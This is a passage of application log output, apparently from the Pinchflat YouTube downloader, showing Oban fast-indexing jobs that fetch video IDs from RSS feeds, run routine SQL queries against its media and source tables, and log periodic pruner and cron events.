"3guS4E-9r9s", "_lO_ZLTVxTI"] 12:10:37.776 [debug] QUERY OK source="media_items" db=0.5ms idle=265.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 12:10:37.777 [debug] QUERY OK source="media_items" db=0.4ms idle=266.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 12:10:37.777 [debug] QUERY OK source="tasks" db=0.1ms idle=266.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [630, 2, ~U[2026-07-24 12:10:37Z], ~U[2026-07-24 12:10:37Z]] 12:10:37.777 [info] {"args":{"id":2},"id":627,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":267659,"event":"job:stop","queue_time":535514,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:10:52.526 [info] {"args":{"id":1},"id":628,"meta":{},"system_time":1784895052526203431,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:10:52.526 [debug] QUERY OK source="sources" db=0.1ms idle=947.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:10:52.526 [debug] QUERY OK source="settings" db=0.1ms idle=947.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:10:52.526 [debug] QUERY OK source="media_profiles" db=0.0ms idle=948.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:10:52.527 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:10:52.527 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 12:10:52.722 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 12:10:52.722 [debug] QUERY OK source="media_items" db=0.2ms idle=196.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 12:10:52.724 [debug] QUERY OK source="media_items" db=1.9ms idle=196.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 12:10:52.725 [debug] QUERY OK source="tasks" db=0.0ms idle=198.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [631, 1, ~U[2026-07-24 12:10:52Z], ~U[2026-07-24 12:10:52Z]] 12:10:52.725 [info] {"args":{"id":1},"id":628,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":199378,"event":"job:stop","queue_time":612322,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:10:56.624 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:00.466 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:11:07.542 [info] {"args":{"id":3},"id":629,"meta":{},"system_time":1784895067542231529,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:11:07.542 [debug] QUERY OK source="sources" db=0.1ms idle=963.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 12:11:07.542 [debug] QUERY OK source="settings" db=0.1ms idle=963.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:11:07.542 [debug] QUERY OK source="media_profiles" db=0.1ms idle=964.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:11:07.543 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:11:07.543 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 12:11:07.708 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 12:11:07.709 [debug] QUERY OK source="media_items" db=0.4ms idle=166.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 12:11:07.711 [debug] QUERY OK source="media_items" db=1.9ms idle=167.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 12:11:07.712 [debug] QUERY OK source="tasks" db=0.0ms idle=169.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [632, 3, ~U[2026-07-24 12:11:07Z], ~U[2026-07-24 12:11:07Z]] 12:11:07.712 [info] {"args":{"id":3},"id":629,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":170217,"event":"job:stop","queue_time":625451,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:11:26.625 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:56.626 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:00.466 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:12:26.627 [info] {"source":"oban","duration":871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:56.629 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:00.468 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:13:26.630 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:56.631 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:00.469 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:14:26.632 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:56.633 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:00.470 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:15:26.634 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:56.635 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:00.471 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:16:26.636 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:56.637 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:00.472 [info] {"source":"oban","duration":158,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:17:26.638 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:56.639 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:00.472 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:18:26.640 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:56.641 [info] {"source":"oban","duration":483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:00.474 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:19:26.642 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:56.643 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:00.475 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:20:26.644 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:38.159 [info] {"args":{"id":2},"id":630,"meta":{},"system_time":1784895638159415817,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:20:38.159 [debug] QUERY OK source="sources" db=0.0ms idle=1580.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 12:20:38.159 [debug] QUERY OK source="settings" db=0.0ms idle=1580.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:20:38.159 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:20:38.160 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:20:38.160 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 12:20:38.281 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 12:20:38.281 [debug] QUERY OK source="media_items" db=0.3ms idle=122.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 12:20:38.282 [debug] QUERY OK source="media_items" db=0.3ms idle=122.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 12:20:38.283 [debug] QUERY OK source="tasks" db=0.1ms idle=123.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [633, 2, ~U[2026-07-24 12:20:38Z], ~U[2026-07-24 12:20:38Z]] 12:20:38.283 [info] {"args":{"id":2},"id":630,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":123927,"event":"job:stop","queue_time":381802,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:20:53.177 [info] {"args":{"id":1},"id":631,"meta":{},"system_time":1784895653177246854,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 12:20:53.177 [debug] QUERY OK source="sources" db=0.0ms idle=1598.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 12:20:53.177 [debug] QUERY OK source="settings" db=0.1ms idle=1598.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:20:53.177 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 12:20:53.178 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 12:20:53.178 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 12:20:53.218 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 12:20:53.218 [debug] QUERY OK source="media_items" db=0.3ms idle=41.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", 